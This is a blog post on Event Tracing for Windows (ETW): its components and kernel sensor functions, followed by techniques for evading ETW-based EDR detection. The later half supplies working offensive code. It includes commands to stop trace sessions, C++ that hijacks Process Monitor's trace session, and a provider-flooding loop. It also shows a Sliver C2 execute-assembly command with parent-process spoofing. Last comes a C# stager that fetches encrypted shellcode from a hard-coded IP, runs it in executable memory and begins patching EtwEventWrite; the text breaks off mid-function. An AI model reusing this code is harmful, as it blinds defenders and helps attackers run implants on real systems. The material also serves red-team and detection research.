Evading Event Tracing for Windows (ETW)-Based Detections

26 minute read

Introduction

In this post, we will explore Event Tracing for Windows (ETW) and examine various evasion techniques used to evade detections based on this Windows event tracking and collection mechanism.

But what exactly is ETW?

Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers.

Microsoft Documentation

Introduced in Windows 2000, ETW was developed to address the challenges posed by the increasing complexity of the Windows operating system. It provides a powerful infrastructure for event logging, allowing detailed insight into the system’s performance and behavior.

This traces can be recorded to a file and/or to a real-time session.

Why ETW was Created

In earlier versions of Windows, such as NT4, it was challenging to diagnose performance issues and understand system behavior due to limited visibility into what was happening within the system. ETW was designed to fill this gap by offering a high-performance, low-overhead tracing solution that can handle thousands of events per second without significantly impacting system performance.

Key Features of ETW

  1. Low Overhead and High Performance:
    • ETW is designed to be efficient, ensuring that even with a high volume of events, the performance impact on the system is negligible.
  2. Rich Semantics and Schema:
    • ETW provides more than just numeric data; it includes detailed event properties and types, offering a richer set of data for analysis.
    • Events in ETW come with a schema that defines the structure and types of data they carry, making it easier to interpret the events.
  3. System-Wide Coverage:
    • ETW is not limited to specific processes; it captures events from the entire system, ensuring a comprehensive view of system activity.
    • This system-wide approach is crucial for diagnosing issues that may span multiple processes or system components.

Main Components of ETW

There are four main components involved in ETW based on Microsoft documentation:

  • Provider
  • Session
  • Controller
  • Consumer

Each of these components serves a specific role in event-tracing sessions.

Providers

A provider is a component designed to generate events. It can be a user-mode application, a kernel-mode driver, or the Windows kernel itself. Events include fixed data (header) and can also carry user data.

An event represents data in an event-based format, which can be used for detailed analysis. Events can also produce counters, providing a sample-based view of data, such as I/O bytes per second and interrupts per second, to show the current state. For example, if the application is handling user authentication, it might emit an event whenever an authentication fails.

Providers must register with ETW and send events using the ETW Logging APIs. They register a callback function for enable and disable notifications, allowing tracing to be turned on and off dynamically.

To list all the providers available in the system, you can use the following command:

logman query providers

Session

The ETW session infrastructure acts as an intermediary that relays events from one or more providers to the consumer. A session is a kernel object that gathers events into a kernel buffer and then forwards them to a specified file or a real-time consumer process. Multiple providers can be linked to a single session, which allows users to collect data from multiple sources.

logman query -ets

Controllers

Controllers are the components that define and manage trace sessions, which record events generated by providers and deliver them to event consumers. The responsibilities of a controller include, among other tasks:

  • Starting and stopping sessions
  • Enabling or disabling providers associated with a session
  • Managing the size of the event buffer pool

A single application might contain both controller and consumer code; alternatively, the controller can be a separate application entirely, such as the logman utility.

Controllers create trace sessions using the sechost!StartTrace() API and configure them with sechost!ControlTrace(), advapi!EnableTraceEx(), or sechost!EnableTraceEx2().

Consumers

Consumers are the software components that receive events after they have been recorded by a trace session. They can either read events from a logfile on disk or consume them in real time. Because nearly every EDR agent is a real-time consumer. we will focus exclusively on those.

Consumers use sechost!OpenTrace() to connect to the real-time session and sechost!ProcessTrace() to start consuming events from it. Each time the consumer receives a new event, an internally defined callback function parses the event data based on information supplied by the provider, such as the event manifest. The consumer can then choose to do whatever it likes with the information. In the case of endpoint security software, this might involve creating an alert, taking preventive actions, or correlating the activity with telemetry collected by another sensor.

Evading EDR - Matt Hand

ETW at a Kernel-Level

How does kernel implement ETW you may ask?

If not, I will explain it anyway.

Maldev Academy provides a good explanation of this, but I wanted to delve deeper and examine all the kernel functions that invoke ETW, explaining what triggers them.

Basically, the kernel image (ntoskrnl.exe) is the core executable of the Windows operating system that contains the kernel and executive layers. If we open this image in IDA, we can see the functions that eventually call ETW. For example, the MiReadWriteVirtualMemory function calls EtwTiLogReadWriteVm, which logs read and write operations.

Following the function flow, we observe the call to EtwTiLogReadWriteVm.

When filtering the functions used by ntoskrnl.exe, the following ETW-related functions are identified.

These insights provide us with an idea of what may be logging into the system. For each function (we will refer to these functions as “sensors”), a detailed study will be conducted to determine which kernel functions end up calling it and their respective triggers.

It should be noted that this explanation of why these sensors are triggered may not be correct, it is only based on the documentation provided by microsoft, the visualization of each function in IDA and their respective function calls. If you find any error, do not hesitate to let me know.

  • EtwTiLogInsertQueueUserApc: This function is called by IopfCompleteRequest and KeInsertQueueApc.
    • The KeInsertQueueApc function is responsible for inserting an APC (Asynchronous Procedure Call) object into the APC queue of a thread. APCs allow a function to execute asynchronously within the context of a particular thread. When a user-mode APC is inserted into the queue, this event is then logged by the EtwTiLogInsertQueueUserApc sensor.
  • EtwTimLogBlockNonCetBinaries: This function is called by PsBlockNonCetBinaries, which in turn is called by MiAllowImageMap.
    • The MiAllowImageMap function allows the mapping of executable images into memory. As part of security enforcement, PsBlockNonCetBinaries checks whether the executable binaries comply with CET (Control-Flow Enforcement Technology) standards. If a binary does not meet CET requirements, it is blocked, and EtwTimLogBlockNonCetBinaries logs this event. This sensor helps in tracking and auditing the enforcement of CET policies by recording attempts to execute non-compliant binaries.
  • EtwTimLogControlProtectionUserModeReturnMismatch: This function is called by KiLogControlProtectionUserModeReturnMismatch, which in turn is called by KiProcessControlProtection.
    • The KiProcessControlProtection function ensures control-flow integrity by verifying control protection settings when transitioning between kernel mode and user mode. If there is a mismatch in these settings upon returning to user mode, it indicates a potential exploit attempt. KiLogControlProtectionUserModeReturnMismatch logs this event, capturing details about the mismatch, which is then recorded by the EtwTimLogControlProtectionUserModeReturnMismatch sensor. This helps in identifying and analyzing control-flow integrity issues.
  • EtwTimLogProhibitFsctlSystemCalls: This function is called by IopXxxControlFile, which in turn is called by this many functions:
    • NtDeviceIoControlFile
    • PfpVolumePrefetchMetadata
    • PfpPrefetchDirectoryStream
    • PfpPrefetchEntireDirectory
    • PfpSnPrefetchFileMetadata
    • NtFsControlFile
    • PfSnPrefetchFileMetadata
    • These functions handle various file system control operations through FSCTL (File System Control) codes. The IopXxxControlFile function processes these control codes and, if certain system calls are prohibited, triggers EtwTimLogProhibitFsctlSystemCalls sensor to log the event.
  • EtwTimLogRedirectionTrustPolicy: This function is called by IoCheckRedirectionTrustLevel.
    • The IoCheckRedirectionTrustLevel function checks the trust level for file redirection to ensure that they comply with security policies. If a redirection does not meet the required trust level, EtwTimLogRedirectionTrustPolicy logs this event.
  • EtwTimLogUserCetSetContextIpValidationFailure: This function is called by KiLogUserCetSetContextIpValidationFailureWorker, which is referenced (lea) by KiLogUserCetSetContextIpValidationFailure, which in turn is called by KsVerifyContextIpForUser.
    • The KsVerifyContextIpForUser function validates the instruction pointer (rip) context for CET In user mode to prevent control-flow hijacking. If the validation fails, KiLogUserCetSetContextIpValidationFailure is triggered. The sensor captures details of IP context validation failures for CET in user mode.
  • EtwTiLogDeviceObjectLoadUnload: This function is called by IoCreateDevice and IoDeleteDevice.
    • The IoCreateDevice function creates device objects that drivers use to represent hardware and software components. Conversely, IoDeleteDevice deletes these devices objects. When a device object is created or unloaded, EtwTiLogDeviceObjectLoadUnload logs the event.
  • EtwTiLogSetContextThread: This function is called by PspWow64SetContextThread and PspSetContextThreadInternal.
    • These functions set the context for threads, either in the WOW64 (WIndows-on-Windows 64-bit) subsystem or internally within the system. The thread context includes the CPU registers and other state information. When a thread context is set, EtwTiLogSetContextThread logs this event.
  • EtwTiLogReadWriteVm: This function is called by MiReadWriteVirtualMemory.
    • MiReadWriteVirtualMemory handles reading from and writing to a process’s virtual memory. When these memory operations occur, EtwTiLogReadWriteVm sensor logs the events.
  • EtwTiLogAllocExecVm: This function is called by MiAllocateVirtualMemory.
    • The MiAllocateVirtualMemory function allocates virtual memory for processes. When executable virtual memory is allocated, EtwTiLogAllocExecVm logs the event.
  • EtwTiLogProtectExecVm: This function is called by NtProtectVirtualMemory.
    • The NtProtectVirtualMemory function changes the protection settings of a region of virtual memory. When the protection settings for executable virtual memory are modified, EtwTiLogProtectExecVm logs the event.
  • EtwTiLogMapExecView: This function is called by NtMapViewOfSection and MiMapViewOfSectionExCommon.
    • These functions map a view of a section of a file or a memory-mapped object into the virtual address space of a process. When an executable view is mapped, EtwTiLogMapExecView logs the event. This sensor captures details about the mapping of executable views, aiding in monitoring memory usage and enforcing security policies related to memory mapping.
  • EtwTimLogProhibitChildProcessCreation: This function is called by SeSubProcessToken, which in turn is called by PspInitializeProcessSecurity.
    • The PspInitializeProcessSecurity function initializes security settings for new processes. If a creation of a child process is prohibited based on these security policies, SeSubProcessToken triggers EtwTimLogProhibitChildProcessCreation to log the event.
  • EtwTiLogDriverObjectUnLoad: This function is called by IopUnloadDriver and IoDeleteDriver.
    • The IopUnloadDriver function unloads drivers, and IoDeleteDriver deletes driver objects. When a driver object is unloaded or deleted, EtwTiLogDriverObjectUnLoad logs the event.
  • EtwTiLogDriverObjectLoad: This function is called by IopLoadDriver and IoCreateDriver.
    • The IopLoadDriver function loads drivers, and IoCreateDriver creates driver objects. When a driver object is loaded or created, EtwTiLogDriverObjectLoad logs the event.
  • EtwTiLogSuspendResumeProcess: This function is called by PsThawProcess, PsFreezeProcess, PsResumeProcess and PsSuspendProcess.
    • These functions handle the suspension and resumption of processes.
  • EtwTiLogSuspendResumeThread: This function is called by PsResumeThread and PsSuspendThread.
    • These functions handle the suspension and resumption of threads.
  • EtwTimLogProhibitDynamicCode: This function is called by MiArbitraryCodeBlocked , which in turn is called by this many functions:
    • MiAllowProtectionChange
      • This function allows changes to the protection attributes of a region of memory. If a change attempt involves enabling executable permissions for code that is deemed arbitrary or unsafe, MiArbitraryCodeBlocked will intervene and block the action, subsequently triggering EtwTimLogProhibitDynamicCode to log the event.
    • MiReserveUserMemory
      • This function reserves a region of virtual memory for a process. If the reserved memory is later used for executing arbitrary code that violates security policies, MiArbitraryCodeBlocked will block the execution, and the event will be logged by EtwTimLogProhibitDynamicCode.
    • MiMapViewOfImageSection
      • This function maps a view of an image section into the virtual address space of a process. If the image section contains code that is dynamically generated or altered in a way that breaches security policies, MiArbitraryCodeBlocked will block the mapping, and EtwTimLogProhibitDynamicCode will log the event.
    • MiMapViewOfSection
      • This function maps a view of a section into the virtual address space of a process. Similar to MiMapViewOfImageSection, if the section includes dynamic or arbitrary code that is not compliant with security policies, MiArbitraryCodeBlocked will block the mapping, triggering EtwTimLogProhibitDynamicCode to log the event.
  • EtwTimLogProhibitLowILImageMap: This function is called by MiAllowImageMap, which in turn is called by MiMapViewOfImageSection.
    • The MiAllowImageMap function allows the mapping of executable images into memory. If the image being mapped has a low integrity level (IL) and is not permitted by security policies, EtwTimLogProhibitLowILImageMap logs the event.
  • EtwTimLogProhibitNonMicrosoftBinaries: This function is called by MiValidateSectionSigningPolicy, which in turn is called by MiValidateExistingImage and MiCreateNewSection.
    • The MiValidateSectionSigningPolicy function validates the digital signing policy of executable sections. If a binary does not originate from Microsoft and fails to meet the required signing policy, it is prohibited from execution. EtwTimLogProhibitNonMicrosoftBinaries logs these events.
  • EtwTimLogProhibitWin32kSystemCalls: This function is called by PsConvertToGuiThread, which in turn is called by KiConvertToGuiThread, which in turn is called by KiSystemCall64.
    • The KiSystemCall64 function handles system calls from 64-bit applications, including converting threads to GUI threads using KiConvertToGuiThread and PsConvertToGuiThread. If Win32k system calls are prohibited based on security policies, EtwTimLogProhibitWin32kSystemCalls logs the event.

I don’t know if anyone reading this post has noticed (or knew it before), but the names of these sensors are almost identical except for one detail. Some start with EtwTi and some with EtwTim. The difference is as follows:

  • EtwTi: These are Microsoft-Windows-Threat-Intelligence-Sensors.
  • EtwTim: These are Microsoft-Windows-Security-Mitigations-Sensors.
Microsoft-Windows-Threat-Intelligence-Sensors Microsoft-Windows-Security-Mitigations-Sensors
EtwTiLogInsertQueueUserApc EtwTimLogBlockNonCetBinaries
EtwTiLogDeviceObjectLoadUnload EtwTimLogControlProtectionUserModeReturnMismatch
EtwTiLogSetContextThread EtwTimLogProhibitFsctlSystemCalls
EtwTiLogReadWriteVm EtwTimLogRedirectionTrustPolicy
EtwTiLogAllocExecVm EtwTimLogUserCetSetContextIpValidationFailure
EtwTiLogProtectExecVm EtwTimLogProhibitChildProcessCreation
EtwTiLogMapExecView EtwTimLogProhibitDynamicCode
EtwTiLogDriverObjectUnLoad EtwTimLogProhibitLowILImageMap
EtwTiLogDriverObjectLoad EtwTimLogProhibitNonMicrosoftBinaries
EtwTiLogSuspendResumeProcess EtwTimLogProhibitWin32kSystemCalls
EtwTiLogSuspendResumeThread  

Let’s create a graph view of this!

The Microsoft-Windows-Threat-Intelligence-Sensors provider is a manifest-based ETW provider that generates security-related events. What makes the TI provider unique is Microsoft’s ongoing updates to enhance the information it provides about operations that typically require complex engineering (e.g., function hooking) at the kernel level.

On the other hand, the Microsoft-Windows-Security-Mitigations-Sensors provider focuses on monitoring and reporting security mitigations applied by the operating system. It captures events related to exploit mitigations such as Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and other security features designed to prevent common attack vectors. Unlike the TI provider, which delves into detailed security operations, the Security-Mitigations-Sensors provider is more concerned with the application and effectiveness of these built-in security measures.

For more information, read this amazing post from Jonathan Johnson, where he explains this deeper.

Let the fun begin

Now that we have a better understanding of how ETW works, we will proceed to show some bypassing techniques to prevent the different sensors previously mentioned from monitoring our actions. We will start with the most “simple” options up to the most complex ones.

For a further demonstration of the attacks that can be performed on ETW, please watch this talk given at Blachhat 2021 by Igor Korkin & Claudiu Teodorescu, it is amazing.

Tampering as if there is no tomorrow

The first technique we’ll demonstrate involves tampering with ETW providers. By preventing them from collecting event logs, we can effectively disable their ability to detect activities. Consequently, any AV/EDR solution that rely solely on ETW for metrics will become ineffective (if this situation exists, which I hope it doesn’t).

Since I was bored and wanted to take a deeper look into the ETW API (why did I do this, it’s horrible), a C++ program was created that initiates a trace session and connects to a specific ETW provider, in this case it was Microsoft-Windows-Kernel-Process. The program is designed to capture and display specific events generated by this provider, filtering to focus on the most relevant ones: Event IDs 1, 2, 3, 4, 5, and 6.

The Microsoft-Windows-Kernel-Process provider is integral to monitoring process and thread activities within the Windows operating system. Here are the details of the events captured:

  1. Start Process (Event ID 1): This event is triggered when a new process is created. It provides information such as the process ID, creation time, parent process ID, session ID, and the image name of the process.

  2. Stop Process (Event ID 2): This event occurs when a process terminates. It includes details like the process ID, creation time, exit time, exit code, token elevation type, handle count, commit charge, commit peak, and the image name.

  3. Start Thread (Event ID 3): This event is generated when a new thread is created within a process. It captures information about the process ID, thread ID, stack base, stack limit, user stack base, user stack limit, start address, Win32 start address, and the Thread Environment Block (TEB) base.

  4. Stop Thread (Event ID 4): This event occurs when a thread terminates. Similar to the Start Thread event, it includes details like the process ID, thread ID, stack base, stack limit, user stack base, user stack limit, start address, Win32 start address, and the TEB base.

  5. Load Image (Event ID 5): This event is triggered when an image (such as a DLL or EXE) is loaded into a process. It provides information about the image base, image size, process ID, image checksum, timestamp, default base, and the image name.

  6. Unload Image (Event ID 6): This event occurs when an image is unloaded from a process. It includes details like the image base, image size, process ID, image checksum, timestamp, default base, and the image name.

The code can be obtained from my Github.

As the title of this section suggests, we will modify the trace session created by the code and stop it to prevent it from receiving further events from the provider. It may not be the most elegant technique, but it works.

It’s very straightforward. All we need to do is run the following command:

logman.exe stop "Trace Name" -ets

Hijacking Procmon’s session

In this case, we will attempt to hijack the ProcMon session to stop it from reading events. By default, Process Monitor creates a session called “PROCMON TRACE”. You can enumerate this session using the same command mentioned above after starting Process Monitor in capture mode.

logman query -ets

An attempt was made to list the providers used by this session. However, the output did not provide any results:

logman query "PROCMON TRACE" -ets

To solve this, we created a C++ program that enumerates the session and obtains the GUIDs of the providers it is subscribed to. The code is straightforward, so I don’t think it’s necessary to upload it to GitHub.

#include <windows.h>
#include <evntrace.h>
#include <tdh.h>
#include <iostream>
#include <vector>
#include <string>
#include <iomanip>

#pragma comment(lib, "tdh.lib")
#pragma comment(lib, "advapi32.lib")

void EnumerateProvidersForSession(const std::wstring& sessionName) {
    TRACEHANDLE sessionHandle = 0;
    ULONG bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + (sessionName.size() + 1) * sizeof(wchar_t);
    EVENT_TRACE_PROPERTIES* sessionProperties = (EVENT_TRACE_PROPERTIES*)malloc(bufferSize);
    ZeroMemory(sessionProperties, bufferSize);

    sessionProperties->Wnode.BufferSize = bufferSize;
    sessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    ULONG status = ControlTraceW(sessionHandle, sessionName.c_str(), sessionProperties, EVENT_TRACE_CONTROL_QUERY);

    if (status != ERROR_SUCCESS) {
        if (status == ERROR_WMI_INSTANCE_NOT_FOUND) {
			std::wcerr << L"Session not found: " << sessionName << std::endl;
		} else {
			std::wcerr << L"Failed to query trace session: " << status << std::endl;
		}
        free(sessionProperties);
        return;
    }

    std::wcout << L"Providers for session: " << sessionName << std::endl;

    ULONG providerInfoBufferSize = 0;
    status = TdhEnumerateProviders(nullptr, &providerInfoBufferSize);
    if (status != ERROR_INSUFFICIENT_BUFFER) {
        std::wcerr << L"Failed to query buffer size for providers: " << status << std::endl;
        free(sessionProperties);
        return;
    }

    std::vector<BYTE> buffer(providerInfoBufferSize);
    status = TdhEnumerateProviders(reinterpret_cast<PROVIDER_ENUMERATION_INFO*>(buffer.data()), &providerInfoBufferSize);
    if (status != ERROR_SUCCESS) {
        std::wcerr << L"Failed to enumerate providers: " << status << std::endl;
        free(sessionProperties);
        return;
    }

    auto providerInfos = reinterpret_cast<PROVIDER_ENUMERATION_INFO*>(buffer.data());
    for (ULONG i = 0; i < providerInfos->NumberOfProviders; ++i) {
        auto& provider = providerInfos->TraceProviderInfoArray[i];
        std::wcout << L"  Provider GUID: "
            << std::hex << std::setw(8) << std::setfill(L'0') << provider.ProviderGuid.Data1 << L"-"
            << std::setw(4) << provider.ProviderGuid.Data2 << L"-"
            << std::setw(4) << provider.ProviderGuid.Data3 << L"-";
        for (int j = 0; j < 2; ++j) {
            std::wcout << std::setw(2) << static_cast<int>(provider.ProviderGuid.Data4[j]);
        }
        std::wcout << L"-";
        for (int j = 2; j < 8; ++j) {
            std::wcout << std::setw(2) << static_cast<int>(provider.ProviderGuid.Data4[j]);
        }
        std::wcout << std::dec << std::endl;
    }

    free(sessionProperties);
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc != 2) {
        std::wcerr << L"Usage: " << argv[0] << L" <session_name>" << std::endl;
        return 1;
    }

    std::wstring sessionName = argv[1];
    EnumerateProvidersForSession(sessionName);
    return 0;
}

We obtain a total of 1104 GUIDs.

Initially, I thought that ProcMon relied entirely on ETW to capture all of its events. However, it turns out that the “PROCMON TRACE” session is primarily used to capture network traffic. This discovery significantly simplifies my approach, as I had initially planned a more complex method to hijack all ETW events from ProcMon. Next, I decided to perform a Google search (I know I should have done it before attempting this, but it’s too late anyway). It seems that Process Monitor’s predecessors, Filemon and Regmon, each loaded their respective drivers, Filevxd.vxd and Regvxd.vxd. Since Process Monitor has replaced these two tools, we searched for the drivers loaded by Process Monitor and were able to identify (PROCMON24.SYS), which it uses to obtain this telemetry.

Here is the complete code that checks if the “PROCMON TRACE” session exists at execution time. If the session does not exist, it will create a new one to interfere with the normal ProcMon session. As a result, ProcMon will be unable to capture any network traffic.

#include <windows.h>
#include <evntrace.h>
#include <evntcons.h>
#include <iostream>
#include <string>

TRACEHANDLE sessionHandle = 0;
HANDLE currentThreadId = 0;
std::wstring sessionName = L"PROCMON TRACE";

void StartETWSession() {
    EVENT_TRACE_PROPERTIES* properties = (EVENT_TRACE_PROPERTIES*)malloc(sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    ZeroMemory(properties, sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    properties->Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024;
    properties->Wnode.ClientContext = 1; // QPC clock resolution
    properties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    properties->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
    properties->MaximumFileSize = 0; // No file size limit
    properties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
    properties->LogFileNameOffset = 0;

    ULONG status = StartTrace(&sessionHandle, sessionName.c_str(), properties);
    if (status == ERROR_SUCCESS) {
        std::wcout << L"ETW session 'PROCMON TRACE' created successfully." << std::endl;
    }
    else {
        std::wcerr << L"Failed to create session: " << status << std::endl;
    }

    free(properties);
}

void StopETWSession() {
    EVENT_TRACE_PROPERTIES* properties = (EVENT_TRACE_PROPERTIES*)malloc(sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    ZeroMemory(properties, sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    properties->Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024;

    ULONG status = ControlTrace(NULL, sessionName.c_str(), properties, EVENT_TRACE_CONTROL_STOP);
    if (status == ERROR_SUCCESS) {
        std::wcout << L"[+] ETW session 'PROCMON TRACE' stopped." << std::endl;
    }
    else {
        std::wcerr << L"[!] Failed to stop session: " << status << std::endl;
    }

    free(properties);
}

void PrintSessionInfo() {
    EVENT_TRACE_PROPERTIES* properties = (EVENT_TRACE_PROPERTIES*)malloc(sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    ZeroMemory(properties, sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    properties->Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024;
    properties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    ULONG status = ControlTrace(sessionHandle, nullptr, properties, EVENT_TRACE_CONTROL_QUERY);
    if (status == ERROR_SUCCESS) {
        HANDLE threadId = (HANDLE)properties->LoggerThreadId;
        std::wcout << L"\t[-] Logger Thread ID: " << threadId << std::endl;
        currentThreadId = threadId;
    }
    else if (status == ERROR_WMI_INSTANCE_NOT_FOUND) {
        std::wcout << L"ETW session not found, restarting..." << std::endl;
        StopETWSession();
        StartETWSession();
        PrintSessionInfo();
    }
    else {
        std::wcerr << L"Failed to get session information: " << status << std::endl;
    }

    free(properties);
}

int main() {
    StopETWSession();
    StartETWSession();
    PrintSessionInfo();
    while (true) {
        HANDLE previousThreadId = currentThreadId;
        PrintSessionInfo();

        Sleep(1000);
    }
    return 0;
}

POC

Event Flood

The next approach involves flooding the events for the .NET CLR provider, as explained in this post. To test this, we will use the execute-assembly command from Sliver C2.

The process of generating a stager profile and obfuscating it will not be explained here, as it falls outside the scope of this post, it’s basically the encrypted stager profile shown in Sliver’s documentation.

Once we have the beacon, we will run execute-assembly as follows:

execute-assembly --ppid 4632 --process notepad.exe --loot --name seatbelt /opt/tools/Seatbelt.exe -group=All
  • --ppid 4632: Specifies the parent process ID (PPID) to spoof, making it appear as though the command is being run by the process with ID 4632 (explorer.exe, previously obtained by running ps).
  • --process notepad.exe: Indicates that the command should be injected into the Notepad process.
  • --loot: Enables looting, which allows for the collection of output files.
  • --name seatbelt: Sets the name for the executed assembly in logs and output.

If we examine the Notepad process using Process Hacker, we can see the .NET assemblies loaded into the process. Among these, we can easily identify the ‘Seatbelt’ assembly being loaded.

What happens if we flood the CLR provider before running the execute-assembly? Let’s find out.

First, we need to obtain the GUID of the CLR provider. We will use EtwExplorer by Pavel Yosifovich to do this.

#include <windows.h>
#include <evntprov.h>
#include <iostream>
#include <tchar.h>

void breakETW_Forever() {
    DWORD status = ERROR_SUCCESS;
    REGHANDLE RegistrationHandle = NULL;
    const GUID ProviderGuid = { 0x230d3ce1, 0xbccc, 0x124e, {0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4} }; //.NET Common Language Runtime

    std::cout << "Starting to register and unregister events continuously..." << std::endl;

    while (true) {
        int count = 0;

        while (count < 2048) {
            status = EventRegister(&ProviderGuid, NULL, NULL, &RegistrationHandle);
            if (status != ERROR_SUCCESS) {
                std::cerr << "EventRegister failed with error code " << status << ", continuing..." << std::endl;
            }
            else {
                EventUnregister(RegistrationHandle);
            }
            count++;
        }
    }
}

int main() {
    breakETW_Forever();
    return 0;
}

As it can be seen in the previous screenshot, this approach didn’t work either. I assume that the buffering mechanism of ETW allows consistent data availability, and Process Hacker, as an ETW consumer, can handle dynamic changes in provider registration seamlessly. Therefore, even with the stress test of registering and unregistering the CLR provider up to 2048 times to overflow the indexes, Process Hacker remains unaffected in its ability to load the CLR and access detailed .NET assembly metadata (if anyone can correct me, please do, I would like to learn more about Windows Internals :)).

Patching

Our final approach for this specific post will be patching ETW itself. Before proceeding, we will discuss what patching ETW Providers entails and how we can achieve it.

What does patching mean?

Function patching involves modifying the behavior of a specific function in a program. This can be done to make the function fail, supply it with false data, or force it to return immediately. The goal is to alter how the function operates, which can be useful for debugging, testing, or bypassing certain behaviors.

To achieve this in a local process:

  1. Load the Executable: First, you need to load the executable file (EXE or DLL) that contains the function you want to patch.
  2. Obtain a Function Pointer: Next, you need to get a pointer to the specific function within the loaded executable. This pointer acts like an address where the function’s code is stored in memory.
  3. Change Memory Protection: Once you have the function pointer, you must change the memory protection settings of the region where the function resides. This step allows you to modify the function’s code.
  4. Modify the Function: Finally, you can alter the function’s code to change its behavior. This could involve making it fail, providing it with fake data, or making it return immediately.

Patch ETW

The same method can be applied to ETW-specific functions like EtwEventWrite, EtwEventWriteFull or NtTraceEvent.

In this instance, I combined the encrypted stager with a process that patches ETW before downloading, decrypting, and executing the shellcode.

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Diagnostics;
using System.Xml.Linq;

namespace Sliver_stager
{
    class Program
    {
        private static string AESKey = "D(G+KbPeShVmYq3t";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "http://192.168.243.139:8000/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr LoadLibrary(string lpFileName);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

        public static void DownloadAndExecute()
        {
            Console.WriteLine("Starting DownloadAndExecute...");
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            Console.WriteLine("Shellcode downloaded.");

            List<byte> l = new List<byte> { };

            for (int i = 16; i <= shellcode.Length - 1; i++)
            {
                l.Add(shellcode[i]);
            }
            Console.WriteLine("Shellcode adjusted.");

            byte[] actual = l.ToArray();

            byte[] decrypted;

            decrypted = Decrypt(actual, AESKey, AESIV);
            Console.WriteLine("Shellcode decrypted.");
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
            Marshal.Copy(decrypted, 0, addr, decrypted.Length);
            Console.WriteLine("Shellcode allocated and copied to memory.");
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            Console.WriteLine("Shellcode executed.");
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        Console.WriteLine("Decryption in progress...");
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        private static int GetProcId(string[] args)
        {
            if (args.Length == 0)
            {
                args = new string[] { "msedge" };
            }

            if (args[0].All(char.IsDigit))
            {
                Console.WriteLine("Getting PID for target process ({0})...", args[0]);
                var pid = int.Parse(args[0]);
                var process = Process.GetProcessById(pid);
                Console.WriteLine("PID for target process: {0}", process.Id);
                return process.Id;
            }
            else
            {
                Console.WriteLine("Getting PID for target process ({0})...", args[0]);
                var name = args[0];
                var process = Process.GetProcessesByName(name).FirstOrDefault();
                Console.WriteLine("PID for target process ({0}): {1}", name, process.Id);
                return process.Id;
            }
        }

        private static IntPtr GetRemoteNtdllBaseAddress(Process targetProcess)
        {
            Console.WriteLine("Getting NTDLL base address for target process...");
            var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>().FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress;

            if (ntdllBaseAddress.HasValue)
            {
                Console.WriteLine("NTDLL base address: 0x{0}", ntdllBaseAddress.Value.ToString("X"));
                return ntdllBaseAddress.Value;
            }
            else
            {
                throw new InvalidOperationException("Failed to get NTDLL base address.");
            }
        }

        private static IntPtr GetEtwEventWriteOffset()
        {
            Console.WriteLine("Getting ETW Event Write offset...");
